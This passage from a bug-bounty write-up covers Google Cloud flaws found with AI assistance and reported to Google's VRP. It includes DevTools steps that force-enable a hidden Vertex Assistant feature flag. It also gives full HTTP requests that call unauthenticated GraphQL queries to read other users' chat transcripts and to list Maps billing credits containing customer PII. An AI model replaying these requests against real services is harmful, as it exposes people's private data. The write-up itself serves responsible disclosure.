Cloud Console, and actually **locating** this mysterious vulnerable feature.\n\nAfter scraping the complete **5 gigabytes of frontend JavaScript** (yes, you read that correctly) for Cloud Console, we did some static analysis and experimentation in DevTools. We eventually figured out that this feature was **Vertex Assistant**, a chat assistant used for picking AI models and answering platform questions about Vertex AI (now [Gemini Enterprise Agent Platform](https://cloud.google.com/products/gemini-enterprise-agent-platform)). The feature was still experimental, and was hidden behind the frontend feature flag `45737108`\n\n.\n\nTo actually test the bug, we first needed to populate test sessions, which meant force-enabling the feature flag client-side. These flags were set in the initial HTML response for the page, but for some reason the feature flags payload was obfuscated with an XOR cipher:\n\n``` js\nFlagManager.prototype.parsePayload = function (a) {\n try {\n var b = JSON.parse(a) [0];\n a = '';\n for (var c = 0; c < b.length; c++) a += String.fromCharCode(\n b.charCodeAt(c) ^ '\\u0003\\u0007\\u0003\\u0007\\u0008\\u0004\\u0004\\u0006\\u0005\\u0003'.charCodeAt(c % 10)\n );\n this.aa = JSON.parse(a)\n } catch (d) {}\n};\n```\n\nIntercepting and editing this XOR 'encrypted' response was a pain to test with, and definitely wouldn't be fun for Cloud VRP triagers to reproduce either.\n\n[#](#force-enabling-the-feature-flag)Force-enabling the feature flag\n\nThe trick we ended up using was to hook directly into the page lifecycle and set a breakpoint immediately after the feature flag payload was parsed, at which point we could enable the feature flag before the SPA URL routing code ran to redirect away from the Vertex Assistant page. The final instructions we sent to the Cloud VRP team for enabling the flag were as follows:\n\n**Step 1.** Visit `https://console.cloud.google.com/`\n\n. Open DevTools, switch to the Sources panel, and use the global search (enable it from the tabs overflow menu if you don't see it) to search for `typescript_experiment_flags`\n\n.\n\n**Step 2.** Open the search result whose path begins with `m=core`\n\nand pretty-print the JS if it isn't already.\n\n**Step 3.** Search inside that file for `window.invalidateFlagsCache`\n\nand set a breakpoint on that line. Note the variable name immediately before `typescript_experiment_flags`\n\n(a short identifier, here `skb`\n\n). We'll need it in a moment.\n\n**Step 4.** Navigate to `https://console.cloud.google.com/vertex-ai/model-garden/agent/`\n\n. The breakpoint will hit during page load.\n\n**Step 5.** In the DevTools console, run:\n\n```\n.typescript_experiment_flags.aa['45737108'] = true\n```\n\nreplacing ``\n\nwith the variable name from Step 3.\n\nThen resume script execution.\n\nThe Vertex Assistant UI now renders and you can chat with it as a normal user would:\n\n[#](#the-actual-bug)The actual bug\n\nOnce we could populate sessions, we looked at the GraphQL traffic. None of the relevant queries in the `AIPLATFORM_GRAPHQL`\n\nschema checked any authentication or authorization at all. `AgentListSessions`\n\n, `AgentGetSession`\n\n, `AgentCreateSession`\n\n, `AgentRunAgent`\n\n, and `AgentRunStreamAgent`\n\nall worked unauthenticated, scoped purely by the `userId`\n\nyou passed in. So if you knew a target user's email, you could list their sessions, read every transcript, append to chats, or create/delete sessions on their behalf.\n\n`AgentListSessions`\n\nreturns the session IDs and titles for any user:\n\n```\nPOST /v3/entityServices/AiplatformEntityService/schemas/AIPLATFORM_GRAPHQL:batchGraphql?key=AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g HTTP/2\nHost: cloudconsole-pa.googleapis.com\nReferer: https://console.cloud.google.com\nContent-Type: application/json\n\n{\n \"operationName\": \"AgentListSessions\",\n \"querySignature\": \"2/8KaF+/GsptfYw+6iMvMaS9vha4Rg0eu3Y+ZLAVgQIuk=\",\n \"variables\": {\"userId\": \"gvrptest@gmail.com\"}\n}\n{\n \"agentListSessions\": {\n \"sessionMetadatas\": [\n {\"sessionId\": \"8332719927039361024\", \"sessionTitle\": \"Identity Inquiry\"}\n ]\n }\n}\n```\n\nTake any of those session IDs and feed them into `AgentGetSession`\n\nto dump the full transcript:\n\n```\nPOST /v3/entityServices/AiplatformEntityService/schemas/AIPLATFORM_GRAPHQL:batchGraphql?key=AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g HTTP/2\nHost: cloudconsole-pa.googleapis.com\nReferer: https://console.cloud.google.com\nContent-Type: application/json\n\n{\n \"operationName\": \"AgentGetSession\",\n \"querySignature\": \"2/AO7ga8d1fL5KCO47XXKk6CH+U7d8d2ZQiJdIJhQw4bo=\",\n \"variables\": {\n \"userId\": \"gvrptest@gmail.com\",\n \"sessionId\": \"8332719927039361024\"\n }\n}\n```\n\nThe response is the entire chat transcript for that session, every message in both directions. Same pattern applies to the write-side queries: a target user's email plus a session ID is enough to delete chats, append messages, or create new sessions in their name.\n\nThis was awarded **$30,000** under: *Single-Service Privilege Escalation - WRITE vulnerability affecting Google Cloud products on a Tier 1 domain. We want to acknowledge the exceptional quality of your report. Although the affected system was not yet released and did not contain customer data, we are making an exception for this reward, in the future we might not reward similar reports.*\n\nThe Cloud VRP panel later clarified:\n\n\"In this case, we spoke with the team and we believe that it would likely to have been missed and will be released so we decided to reward.\"\n\n[#](#google-maps-platform-billing-credits)Google Maps Platform billing credits\n\nThe `ListBillingAccountCredits`\n\nquery in `MapsEntityService/GMP_GRAPHQL`\n\nhad no authentication or authorization checks. Worse, passing the wildcard parent `accounts/-`\n\nreturned credits for a ton of Google Maps Platform billing accounts:\n\n```\nPOST /v3/entityServices/MapsEntityService/schemas/GMP_GRAPHQL:graphql HTTP/2\nHost: cloudconsole-pa.clients6.google.com\nX-Goog-Api-Key: AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g\nReferer: https://console.cloud.google.com\nContent-Type: application/json\n\n{\n \"operationName\": \"ListBillingAccountCredits\",\n \"querySignature\": \"2/PLZM6tPHnh+3j6TeXTUboku0xt0aNaCs1s/soTFtHO4=\",\n \"variables\": {\n \"listBillingAccountCreditsRequest\": {\"parent\": \"accounts/-\"}\n }\n}\n```\n\nThe response is the list of credits for many Maps Platform customers. Each entry includes the billing account ID, credit program (`NON_PROFIT`\n\n, `STARTUP`\n\n, etc.), dollar amount, approval status, and a free-text `justification`\n\nfield:\n\n```\n{\n \"name\": \"accounts/01227D-A5F4ED-0966FA/credits/00028A71-7131-411C-A512-99A60386B6AC\",\n \"campaignId\": \"creditPrograms/NON_PROFIT\",\n \"duration\": {\"months\": \"12\"},\n \"amount\": {\"dollars\": \"2500\"},\n \"status\": \"APPROVED\",\n \"createTime\": \"2023-06-14T22:55:14Z\"\n}\n```\n\nThe `justification`\n\nfield is where things get interesting. Google staff write whatever they want into it when approving credits, and the field gets returned here unfiltered. Unsurprisingly, this contained customer PII left in by Google staff:\n\n```\n{\"justification\": \"61795668 @gmail.com\"},\n{\"justification\": \"Case # 16827766, @gmail.com, customer is working with the partner on optimizing their App and need 1 month to finalize.\"},\n{\"justification\": \"16952104,@gmail.com,transition credit extension\"}\n```\n\nThis was awarded **$12,000** under: *This report was of exceptional quality! Normal Google Applications. Vulnerability category is \"bypass of significant security controls\", PII or other confidential information. We applied a downgrade because of minor impact the attack may have.*\n\nThe Google Maps team later clarified that this only affected a *subset* of customers.\n\n[#](#wrapping-up)Wrapping up\n\nThree months of this setup turned up over **$500,000** in bounties, only a fraction of which made it here. Most Google bugs don't need clever exploitation, just patience. The same broken patterns showed up everywhere: missing IAM checks on cross-tenant resources, GraphQL schemas with no authorization, debug endpoints in prod, sandbox environments pointing at prod data. The AI's job wasn't to be novel, it was to be tireless about the obvious on a surface too large for a human to cover end-to-end.\n\nA few takeaways:\n\n- The\n`operation_id`\n\nreplay system was what made the workflow productive. Without one-click confirm, AI output is unusable noise. - With a discovery doc, GraphQL SDL, or proto in hand, the AI knows what input to provide the API to meaningfully test it.\n- Google's server-side attack surface is very standardized. If you can abstract most of it away from the AI, it can spend more time testing the actual API rather than figuring out the infra quirks.\n\nHuge thanks to [Michael Dalton](https://michaeldalton.au) for the GraphQL collab (and co-authoring that section of this post), to Google VRP for the patience in fixing all of these bugs, and to whoever invited me to bugSWAT Mexico, where this all started.", "url": "https://wpnews.pro/news/hacking-google-with-a-i-for-500k", "canonical_source": "https://brutecat.com/articles/hacking-google-with-ai/", "published_at": "2026-06-11 21:39:20+00:00", "updated_at": "2026-06-11 21:49:29.803938+00:00", "lang": "en", "topics": ["artificial-intelligence", "ai-tools", "ai-research"], "entities": ["Google", "bugSWAT Mexico", "Claude", "YouTube Data API", "Internal People API"], "alternates": {"html": "https://wpnews.pro/news/hacking-google-with-a-i-for-500k", "markdown": "https://wpnews.pro/news/hacking-google-with-a-i-for-500k.md", "text": "https://wpnews.pro/news/hacking-google-with-a-i-for-500k.txt", "jsonld": "https://wpnews.pro/news/hacking-google-with-a-i-for-500k.jsonld"}}